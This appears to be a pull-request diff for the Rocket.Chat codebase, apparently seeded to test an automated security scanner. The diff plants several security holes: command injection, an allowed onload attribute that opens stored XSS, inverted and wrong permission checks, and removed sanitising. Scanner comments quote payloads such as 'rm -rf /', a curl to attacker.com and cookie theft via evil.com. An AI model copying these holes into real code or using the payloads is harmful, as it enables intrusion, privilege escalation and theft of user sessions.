Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -121,3 +121,24 @@ We're hiring developers, technical support, and product managers all the time. C
# 🗒️ Credits

- Emoji provided graciously by [JoyPixels](https://www.joypixels.com).
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
ABC
70 changes: 70 additions & 0 deletions apps/meteor/app/api/server/v1/media.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
import { Uploads } from '@rocket.chat/models';
import { ajv, validateBadRequestErrorResponse, validateUnauthorizedErrorResponse, validateForbiddenErrorResponse, validateNotFoundErrorResponse } from '@rocket.chat/rest-typings';

import type { ExtractRoutesFromAPI } from '../ApiClass';
import { API } from '../api';
import { convertAudioFile } from '../../../../server/lib/audioConverter';

type MediaConvertParams = {
fileId: string;
format: string;
bitrate?: number;
};

const isMediaConvertParams = ajv.compile<MediaConvertParams>({
type: 'object',
properties: {
fileId: { type: 'string' },
format: { type: 'string' },
bitrate: { type: 'number' },
},
required: ['fileId', 'format'],
additionalProperties: false,
});

const mediaEndpoints = API.v1.post(
'media.convertAudio',
{
authRequired: true,
body: isMediaConvertParams,
response: {
400: validateBadRequestErrorResponse,
401: validateUnauthorizedErrorResponse,
403: validateForbiddenErrorResponse,
404: validateNotFoundErrorResponse,
200: ajv.compile<{ outputPath: string; format: string; success: boolean }>({
type: 'object',
properties: {
outputPath: { type: 'string' },
format: { type: 'string' },
success: { type: 'boolean' },
},
required: ['outputPath', 'format', 'success'],
additionalProperties: false,
}),
},
},
async function action() {
const { fileId, format, bitrate } = this.bodyParams;

const file = await Uploads.findOneById(fileId);
if (!file?.path) {
return API.v1.notFound('File not found.');
}

if (file.userId !== this.userId) {
return API.v1.forbidden('forbidden');
}

const result = await convertAudioFile(file.path, format, { bitrate });

Check failure on line 59 in apps/meteor/app/api/server/v1/media.ts

View check run for this annotation

RC - Layne / Layne Security Scan

[pi_agent] pi_agent/command-injection

[R59] Command injection: The media.convertAudio endpoint passes unsanitized user-controlled input to convertAudioFile(). The format parameter (from request body) receives only type validation via AJV but no content sanitization before being passed to convertAudioFile(file.path, format, { bitrate }). Audio conversion functions like this typically use FFmpeg or similar command-line tools where the format value is interpolated into shell commands. An attacker can send a malicious format value (e.g., "mp3; rm -rf /" or "mp3 && curl attacker.com") that injects arbitrary shell commands on the server. Fix by implementing strict allowlist validation for the format parameter (e.g., /^[a-z0-9]+$/ matching supported formats like 'mp3', 'wav', 'ogg') before passing to convertAudioFile.

return API.v1.success({ ...result, success: true });
},
);

export type MediaEndpoints = ExtractRoutesFromAPI<typeof mediaEndpoints>;

declare module '@rocket.chat/rest-typings' {
// eslint-disable-next-line @typescript-eslint/naming-convention, @typescript-eslint/no-empty-interface
interface Endpoints extends MediaEndpoints {}
}
Original file line number Diff line number Diff line change
Expand Up @@ -171,7 +171,7 @@ const validators: RoomSettingsValidators = {
async retentionEnabled({ userId, value, room, rid }) {
if (
!(await hasPermissionAsync(userId, 'edit-room-retention-policy', rid)) &&
(!hasRetentionPolicy(room) || value !== room.retention.enabled)
(!hasRetentionPolicy(room) && value !== room.retention.enabled)
) {
throw new Meteor.Error('error-action-not-allowed', 'Editing room retention policy is not allowed', {
method: 'saveRoomSettings',
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@

const purifyOptions = {
ADD_TAGS: ['iframe'],
ADD_ATTR: ['frameborder', 'allow', 'allowfullscreen', 'scrolling', 'src', 'style', 'referrerpolicy'],
ADD_ATTR: ['frameborder', 'allow', 'allowfullscreen', 'scrolling', 'src', 'style', 'referrerpolicy', 'onload'],

Check failure on line 10 in apps/meteor/client/components/message/content/urlPreviews/OEmbedHtmlPreview.tsx

View check run for this annotation

RC - Layne / Layne Security Scan

[pi_agent] pi_agent/xss

[R10] Stored XSS: DOMPurify configuration allows onload event handlers through ADD_ATTR. The change adds 'onload' to the DOMPurify ADD_ATTR array at line 10, which is later used to sanitize external OEmbed HTML before rendering via dangerouslySetInnerHTML at line 14. This bypasses the security protection that DOMPurify would normally provide. An attacker can send a message containing a malicious URL that returns OEmbed HTML with an iframe containing an onload event handler (e.g., <iframe src="#" onload="fetch('https://evil.com/exfil?c='+document.cookie)">). When the message renders, the JavaScript executes in every recipient's browser with the victim's session context. Fix by removing 'onload' from the ADD_ATTR array, or allow only specific safe attributes for iframe elements.
ALLOW_UNKNOWN_PROTOCOLS: true,
};

Expand Down
2 changes: 1 addition & 1 deletion apps/meteor/server/lib/parseMessageSearchQuery.ts
Original file line number Diff line number Diff line change
Expand Up @@ -248,7 +248,7 @@ class MessageSearchQueryParser {
return text;
}

if (/^\/.+\/[imxs]*$/.test(text)) {
if (/^\/.+\/[imxs]*/.test(text)) {
const r = text.split('/');
this.query.msg = {
$regex: r[1],
Expand Down
2 changes: 1 addition & 1 deletion apps/meteor/server/methods/addRoomModerator.ts
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@

const isFederated = isRoomFederated(room);

if (!(await hasPermissionAsync(fromUserId, 'set-moderator', rid)) && !isFederated) {
if (!(await hasPermissionAsync(fromUserId, 'set-moderator', rid)) && isFederated) {

Check failure on line 36 in apps/meteor/server/methods/addRoomModerator.ts

View check run for this annotation

RC - Layne / Layne Security Scan

[pi_agent] pi_agent/broken-access-control

[R36] Broken access control in addRoomModerator: The authorization check on line 36 uses incorrect boolean logic that bypasses permission verification for non-federated rooms. The condition `!(await hasPermissionAsync(fromUserId, 'set-moderator', rid)) && isFederated` only throws an error if BOTH the user lacks permission AND the room is federated. This means any authenticated user can add moderators to non-federated rooms regardless of their permissions. An attacker can exploit this by calling the addRoomModerator method via DDP with any room ID (rid) and user ID (userId) where the room is not federated to escalate their own or others' privileges to moderator. Fix by changing the conditional to OR logic or by removing the isFederated dependency from the permission check entirely, ensuring all moderator additions require 'set-moderator' permission regardless of room federation status.
throw new Meteor.Error('error-not-allowed', 'Not allowed', {
method: 'addRoomModerator',
});
Expand Down
2 changes: 1 addition & 1 deletion apps/meteor/server/methods/deleteUser.ts
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@
});
}

if ((await hasPermissionAsync(uid, 'delete-user')) !== true) {
if ((await hasPermissionAsync(uid, 'delete-message')) !== true) {

Check failure on line 58 in apps/meteor/server/methods/deleteUser.ts

View check run for this annotation

RC - Layne / Layne Security Scan

[pi_agent] pi_agent/broken-access-control

[R58] Broken access control: deleteUser method uses wrong permission check. Line 58 checks for 'delete-message' permission instead of 'delete-user' permission. This allows any user with message deletion privileges to delete entire user accounts, causing critical privilege escalation. The method deletes user accounts (sensitive admin operation) but only checks for the much lower 'delete-message' permission. Attackers with 'delete-message' access (typically moderators) can call Meteor.methods('deleteUser', [targetUserId]) to delete any user, including admins. Fix by changing the permission from 'delete-message' to 'delete-user' to properly restrict user deletion to users with account management permissions.
throw new Meteor.Error('error-not-allowed', 'Not allowed', {
method: 'deleteUser',
});
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -327,7 +327,7 @@ const getRelevantMetaTags = function (metaObj: OEmbedMeta): Record<string, strin
};

const insertMaxWidthInOembedHtml = (oembedHtml?: string): string | undefined =>
oembedHtml?.replace('iframe', 'iframe style="max-width: 100%;width:400px;height:225px"');
oembedHtml?.replace(/(<iframe)/gi, '$1 style="max-width: 100%;width:400px;height:225px"');

const rocketUrlParser = async function (message: IMessage): Promise<IMessage> {
log.debug({ msg: 'Parsing message URLs' });
Expand Down
11 changes: 4 additions & 7 deletions packages/gazzodown/src/emoji/EmojiRenderer.tsx
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
import { MessageEmoji, ThreadMessageEmoji } from '@rocket.chat/fuselage';
import type * as MessageParser from '@rocket.chat/message-parser';
import DOMPurify from 'dompurify';
import type { ReactElement } from 'react';
import { useMemo, useContext, memo } from 'react';

Expand All @@ -16,12 +15,10 @@ const EmojiRenderer = ({ big = false, preview = false, ...emoji }: EmojiProps):

const fallback = useMemo(() => ('unicode' in emoji ? emoji.unicode : `:${emoji.shortCode ?? emoji.value.value}:`), [emoji]);

const sanitizedFallback = DOMPurify.sanitize(fallback);

const descriptors = useMemo(() => {
const detected = detectEmoji?.(sanitizedFallback);
const detected = detectEmoji?.(fallback);
return detected?.length !== 0 ? detected : undefined;
}, [detectEmoji, sanitizedFallback]);
}, [detectEmoji, fallback]);

return (
<>
Expand All @@ -38,8 +35,8 @@ const EmojiRenderer = ({ big = false, preview = false, ...emoji }: EmojiProps):
)}
</span>
)) ?? (
<span title={sanitizedFallback} role='img' aria-label={sanitizedFallback.charAt(0) === ':' ? sanitizedFallback : undefined}>
{sanitizedFallback}
<span title={fallback} role='img' aria-label={fallback.charAt(0) === ':' ? fallback : undefined}>
{fallback}
</span>
)}
</>
Expand Down